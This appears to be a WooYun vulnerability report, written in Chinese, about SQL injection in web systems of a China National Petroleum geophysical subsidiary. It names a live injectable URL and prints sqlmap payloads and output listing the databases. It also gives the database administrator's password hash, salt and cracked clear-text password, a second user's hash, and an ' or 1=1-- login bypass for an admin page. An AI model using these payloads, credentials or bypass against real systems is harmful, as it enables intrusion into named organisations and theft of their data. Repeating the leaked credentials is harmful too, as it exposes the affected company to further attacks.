WooYun.org

注入点泄露的是中国石油集团东方地球物理公司的数据库
注入点：

http://ffyj.bgpintl.com/Web/ShowShared.aspx?m=research&type=Research&strID=31

sqlmap：
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: strID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: m=research&type=Research&strID=31' AND 4998=4998 AND 'uaSC'='uaSC
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: m=research&type=Research&strID=-4462' UNION ALL SELECT NULL,NULL,NU
LL,NULL,NULL,CHAR(113)+CHAR(98)+CHAR(120)+CHAR(122)+CHAR(113)+CHAR(116)+CHAR(90)
+CHAR(101)+CHAR(88)+CHAR(104)+CHAR(77)+CHAR(69)+CHAR(119)+CHAR(104)+CHAR(100)+CH
AR(113)+CHAR(106)+CHAR(113)+CHAR(107)+CHAR(113),NULL,NULL,NULL,NULL,NULL--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: m=research&type=Research&strID=-8736' OR 5227=(SELECT COUNT(*) FROM
sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS
sys5,sysusers AS sys6,sysusers AS sys7) AND 'ZOFg'='ZOFg
---
[16:12:53] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
[16:12:53] [INFO] fetching database names
[16:12:53] [WARNING] reflective value(s) found and filtering out
[16:12:53] [INFO] the SQL query used returns 11 entries
[16:12:54] [INFO] retrieved: bbsmax
[16:12:54] [INFO] retrieved: BGP_Abroad_Item
[16:12:54] [INFO] retrieved: FFYJ_datebase
[16:12:55] [INFO] retrieved: LT_BBS
[16:12:55] [INFO] retrieved: master
[16:12:55] [INFO] retrieved: model
[16:12:56] [INFO] retrieved: msdb
[16:12:56] [INFO] retrieved: ReportServer
[16:12:56] [INFO] retrieved: ReportServerTempDB
[16:12:56] [INFO] retrieved: tempdb
[16:12:57] [INFO] retrieved: Timber_Exam_Gov
available databases [11]:
[*] bbsmax
[*] BGP_Abroad_Item
[*] FFYJ_datebase
[*] LT_BBS
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] Timber_Exam_Gov

包括方法研究所http://ffyj.bgpintl.com/ 
中国石油东方地球物理公司国际部http://www.bgpintl.com/ 
国际部工资管理系统http://w3.bgpintl.com/login.aspx 
培训考试系统均泄露 http://peixun.bgpintl.com/web/Index.aspx

权限很高：current user is DBA: True
泄露了明文数据库用户密码：
database management system users password hashes:
[*] sa [1]:
password hash: 0x01004086ceb645dd76333282a7f501bca29748948a82f113d6e5
header: 0x0100
salt: 4086ceb6
mixedcase: 45dd76333282a7f501bca29748948a82f113d6e5
clear-text password: sasasa
[*] ttos [1]:
password hash: 0x010031ef1949706f17f997b202278cfce845c6f7ed2b99a4a9ea
header: 0x0100
salt: 31ef1949
mixedcase: 706f17f997b202278cfce845c6f7ed2b99a4a9ea
2.东方地球物理公司后台万能密码登陆 http://www.bgp.com.cn/login.aspx
'or 1=1-- （用户名密码均为）

可以修改网站基本信息